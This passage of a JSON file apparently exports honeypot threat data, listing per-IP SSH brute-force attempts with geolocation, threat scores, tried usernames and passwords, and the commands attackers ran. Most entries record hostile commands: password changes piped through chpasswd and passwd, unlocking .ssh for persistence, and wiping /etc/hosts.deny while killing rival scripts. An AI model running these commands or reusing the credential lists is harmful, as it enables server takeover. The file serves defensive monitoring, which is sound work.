        "echo \"root:0oyrWPVDLD2O\"|chpasswd|bash",
        "echo \"root:h5H72hAdSY7W\"|chpasswd|bash",
        "echo -e \"contest\\nwJKhS5DADe70\\nwJKhS5DADe70\"|passwd|bash",
        "echo -e \"passw0rd\\nM7BRRxjOB1Ha\\nM7BRRxjOB1Ha\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 473,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T21:12:06.238000+00:00",
        "last_seen_30d": "2026-04-17T21:54:54.358000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 399,
        "Suricata": 74
      }
    },
    "27.79.43.239": {
      "attack_count": 393,
      "first_seen": "2026-04-23T11:31:24.643Z",
      "last_seen": "2026-04-23T11:58:57.760Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "client",
        "support",
        "ubnt",
        "user",
        "*****",
        "admian",
        "am",
        "auto",
        "bin",
        "brenda",
        "carol",
        "cisco",
        "demo",
        "developer",
        "dubai",
        "geral",
        "guest1",
        "helpdesk"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "12345",
        "123456",
        "admin",
        "*****",
        "039715582364317",
        "112233",
        "123",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "abcd1234",
        "abcdefg",
        "admin123",
        "administrator",
        "aerohive",
        "alpine",
        "am",
        "bin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 585,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T11:31:24.643000+00:00",
        "last_seen_30d": "2026-04-23T12:00:00.639000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 393,
        "Suricata": 192
      }
    },
    "135.232.177.115": {
      "attack_count": 373,
      "first_seen": "2026-04-21T16:52:47.856Z",
      "last_seen": "2026-04-21T22:27:21.221Z",
      "sessions": 74,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "11",
        "111",
        "1111",
        "11111",
        "111111",
        "1111111",
        "11111111",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1234567890",
        "2",
        "22",
        "222",
        "2222",
        "22222"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 577,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T16:32:46.025000+00:00",
        "last_seen_30d": "2026-04-21T22:28:21.439000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 373,
        "Suricata": 204
      }
    },
    "202.165.15.132": {
      "attack_count": 362,
      "first_seen": "2026-04-11T12:02:18.822Z",
      "last_seen": "2026-04-28T10:22:14.168Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "git",
        "supporttest",
        "ubuntu",
        "backend",
        "bot",
        "claude",
        "jerry",
        "ming",
        "proxyuser",
        "scanner",
        "toor",
        "user01",
        "user8"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "!@ASDzxc",
        "!@pet",
        "1225",
        "12345678",
        "1234@Qwer",
        "186",
        "69",
        "A123456!A",
        "Admin123@123",
        "Bangqiu1",
        "Bot09",
        "Claude!@#$",
        "DAG132026",
        "Dell@123",
        "Hello@2025",
        "M3gaP33!",
        "P4SSW0RD@2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:cMaq2ID05clG\"|chpasswd|bash",
        "echo \"supporttest\\nfnC0NFYFkgEM\\nfnC0NFYFkgEM\\n\"|passwd",
        "echo -e \"supporttest\\nfnC0NFYFkgEM\\nfnC0NFYFkgEM\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 18206,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 50.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.7,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 473,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T12:02:18.822000+00:00",
        "last_seen_30d": "2026-04-28T10:23:23.009000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 362,
        "Suricata": 111
      }
    },
    "209.99.191.220": {
      "attack_count": 337,
      "first_seen": "2026-04-23T06:59:37.762Z",
      "last_seen": "2026-04-23T07:43:16.339Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "dev",
        "forge",
        "n8n",
        "teamspeak",
        "user40",
        "bitrix",
        "bloom",
        "ftpuser",
        "git",
        "oracle",
        "proxyuser",
        "readuser",
        "tableau",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456!",
        "1234567aA",
        "123654",
        "2026.com",
        "Dev20",
        "Ht123456.",
        "N8n03!",
        "Oracle15",
        "Password01",
        "Postgres24!",
        "Postgres26!",
        "Qf123456",
        "Qwer123$",
        "Vpn2025",
        "abc@123",
        "bitrix24",
        "bloom",
        "dev!123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Postgres24!\\n8JicdJKjFHyB\\n8JicdJKjFHyB\\n\"|passwd",
        "echo \"forge\\nTJioi1TlO6sO\\nTJioi1TlO6sO\\n\"|passwd",
        "echo \"user40\\nE634PfFl705v\\nE634PfFl705v\\n\"|passwd",
        "echo -e \"Postgres24!\\n8JicdJKjFHyB\\n8JicdJKjFHyB\"|passwd|bash",
        "echo -e \"forge\\nTJioi1TlO6sO\\nTJioi1TlO6sO\"|passwd|bash",
        "echo -e \"user40\\nE634PfFl705v\\nE634PfFl705v\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.3,
        "persistence": 16.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 425,
        "days_active_30d": 20,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T11:48:55.236000+00:00",
        "last_seen_30d": "2026-04-25T22:35:22.852000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 337,
        "Suricata": 88
      }
    },
    "194.233.91.154": {
      "attack_count": 336,
      "first_seen": "2026-04-23T16:53:59.671Z",
      "last_seen": "2026-04-23T17:54:02.107Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "n8n",
        "arkserver",
        "dev",
        "laravel",
        "lubuntu",
        "postgres",
        "remoto",
        "server",
        "teamspeak3",
        "testuser",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "20232023",
        "Aa111111111",
        "Aa112211.",
        "Dev15",
        "Postgres05",
        "QQdd123123",
        "QQzz123123",
        "Qazwsx1111#$",
        "Qazwsx54321..",
        "Qwe_123456",
        "Root2021#$",
        "Root2025@@",
        "Root6666!@#",
        "Ubuntu25!",
        "Welcome@1234",
        "arkserver",
        "laravel"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"n8n04!\\nNyo2u4S11UDy\\nNyo2u4S11UDy\\n\"|passwd",
        "echo \"root:MzDzkdXxNMnV\"|chpasswd|bash",
        "echo \"ubuntu=123654\\np4pO81BzIvvR\\np4pO81BzIvvR\\n\"|passwd",
        "echo -e \"n8n04!\\nNyo2u4S11UDy\\nNyo2u4S11UDy\"|passwd|bash",
        "echo -e \"ubuntu=123654\\np4pO81BzIvvR\\np4pO81BzIvvR\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 141995,
      "as_org": "Contabo Asia Private Limited",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 410,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T16:53:59.671000+00:00",
        "last_seen_30d": "2026-04-23T17:55:09.690000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 336,
        "Suricata": 74
      }
    },
    "85.62.117.66": {
      "attack_count": 304,
      "first_seen": "2026-04-02T17:50:12.143Z",
      "last_seen": "2026-04-02T18:54:58.666Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123445",
        "1@2@3@4@5@6",
        "2025@",
        "A12345@",
        "Abcdef",
        "Bd123456",
        "Electronic@123",
        "Eshore!!1",
        "Manager@123",
        "P@55w0rd77",
        "Pa55w0rd@12345",
        "Royal@123",
        "Sterling",
        "blonde",
        "filip",
        "kakakaka",
        "mehmet123",
        "root123a"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1AlpfL394BmT\"|chpasswd|bash",
        "echo \"root:KrTT1ITDC4SX\"|chpasswd|bash",
        "echo \"root:TpFq9yzUCna4\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Sax",
      "asn": 12479,
      "as_org": "Orange Espagne SA",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T17:50:12.143000+00:00",
        "last_seen_30d": "2026-04-02T18:56:00.788000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 63
      }
    },
    "51.68.207.118": {
      "attack_count": 228,
      "first_seen": "2026-04-14T18:30:49.071Z",
      "last_seen": "2026-04-30T20:11:24.832Z",
      "sessions": 76,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 89.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 172305,
        "days_active_30d": 17,
        "ports_targeted_30d": 43936,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-14T14:47:07.770000+00:00",
        "last_seen_30d": "2026-04-30T23:41:04.093000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108725,
        "Honeytrap": 63295,
        "Cowrie": 228,
        "Dionaea": 38,
        "Dicompot": 19
      }
    },
    "43.157.213.31": {
      "attack_count": 204,
      "first_seen": "2026-04-24T17:32:17.102Z",
      "last_seen": "2026-04-24T18:19:39.795Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ali",
        "ubuntu",
        "345gs5662d34",
        "ajay",
        "andrew",
        "bot",
        "ftpuser",
        "lab",
        "odoo",
        "postgres",
        "roberto",
        "runner",
        "seekcy",
        "sysadmin",
        "test",
        "test3",
        "toor",
        "ts",
        "user3"
      ],
      "passwords_attempted": [
        "111111",
        "1234",
        "12345678",
        "123qaz!@#WSX",
        "123qwe123",
        "3245gs5662d34",
        "345gs5662d34",
        "Ali12345",
        "Joysuch@Locate2020",
        "Qq1234",
        "Ubuntu14!",
        "Zl123456789",
        "ajay@123",
        "asdasd",
        "bot02",
        "dupa1234",
        "ftpuser05!",
        "lab",
        "odoo1@",
        "q123456."
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Ali12345\\nhkKzNXDtIiip\\nhkKzNXDtIiip\\n\"|passwd",
        "echo -e \"Ali12345\\nhkKzNXDtIiip\\nhkKzNXDtIiip\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T17:32:17.102000+00:00",
        "last_seen_30d": "2026-04-24T18:20:46.929000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 64
      }
    },
    "205.254.166.33": {
      "attack_count": 183,
      "first_seen": "2026-04-04T07:23:45.946Z",
      "last_seen": "2026-04-04T08:34:50.109Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "345gs5662d34",
        "admin",
        "light",
        "mcserver",
        "peter",
        "riccardo",
        "steam",
        "test",
        "testadmin",
        "testing",
        "ubuntu"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "123456a.",
        "123_ASDF",
        "1qazxsw2",
        "3245gs5662d34",
        "345gs5662d34",
        "456789",
        "Admin@123456",
        "Change2025",
        "QQqq1234",
        "Qazwsx12345!@",
        "Root2019@",
        "ZAQ!2wsx2023@#",
        "ZAQ!2wsx54321@@",
        "ZZqq123",
        "Zxcv1234.",
        "ertyuiop",
        "ftpuser14!",
        "h4ck3r"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:0wuyNqNHCwwn\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 133982,
      "as_org": "Excitel Broadband Private Limited",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 245,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:23:45.946000+00:00",
        "last_seen_30d": "2026-04-04T08:35:59.452000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 183,
        "Suricata": 62
      }
    },
    "144.91.124.133": {
      "attack_count": 180,
      "first_seen": "2026-04-07T20:41:05.258Z",
      "last_seen": "2026-04-08T19:32:34.284Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 360,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T20:41:05.258000+00:00",
        "last_seen_30d": "2026-04-08T19:33:36.691000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 180,
        "Suricata": 180
      }
    },
    "103.191.14.243": {
      "attack_count": 168,
      "first_seen": "2026-04-03T06:34:27.412Z",
      "last_seen": "2026-04-03T07:46:33.929Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!23456",
        "!QAZxsw2#EDCvfr4%TGBnhy6",
        ",ki89ol.",
        "1q2w3e4r5!",
        "3245gs5662d34",
        "345gs5662d34",
        "Asdfg123456",
        "Passwort123",
        "Scorpion2024",
        "Wz@123456",
        "Ye@123456",
        "abcd1234....",
        "azerty",
        "bx123456@",
        "debian123",
        "elise",
        "geoserver",
        "q123",
        "root@123#",
        "toor123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:bV37s6vQ6B2Q\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 38513,
      "as_org": "PT Aplikanusa Lintasarta",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T06:34:27.412000+00:00",
        "last_seen_30d": "2026-04-03T07:47:38.775000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "177.11.196.79": {
      "attack_count": 168,
      "first_seen": "2026-04-02T17:32:35.840Z",
      "last_seen": "2026-04-02T18:51:27.696Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "12qwe34",
        "3245gs5662d34",
        "345gs5662d34",
        "AA1234567",
        "Ab987",
        "Abc246",
        "Abcd5678",
        "Dd123456.",
        "Jkl12345",
        "Ll12345678",
        "Password555",
        "QQ#1234",
        "QQ-123456",
        "Qwerty+123",
        "Qwerty@root",
        "asdfgh12",
        "ddEE1234",
        "huawei1234@",
        "huawei3333",
        "qweasdzxc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:DuTQ0M9PPVTx\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Feliz",
      "asn": 262907,
      "as_org": "BRASIL TECPAR | AMIGO | AVATO",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T17:32:35.840000+00:00",
        "last_seen_30d": "2026-04-02T18:52:35.755000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "200.91.236.125": {
      "attack_count": 168,
      "first_seen": "2026-04-02T16:06:29.319Z",
      "last_seen": "2026-04-02T17:22:57.086Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "202637465",
        "3245gs5662d34",
        "345gs5662d34",
        "3edsw21qa",
        "A123456b",
        "Alqangonet12345",
        "Mq@123456",
        "P@ssw0rd@12345",
        "P@sswd!@#",
        "Sam@123",
        "Zj123456@",
        "a741852963",
        "king",
        "nE7jA%5m",
        "nigga",
        "qaz#@!321",
        "qwerty098",
        "setup",
        "sjpt$0614",
        "test2026@"
      ],
      "commands_executed": [
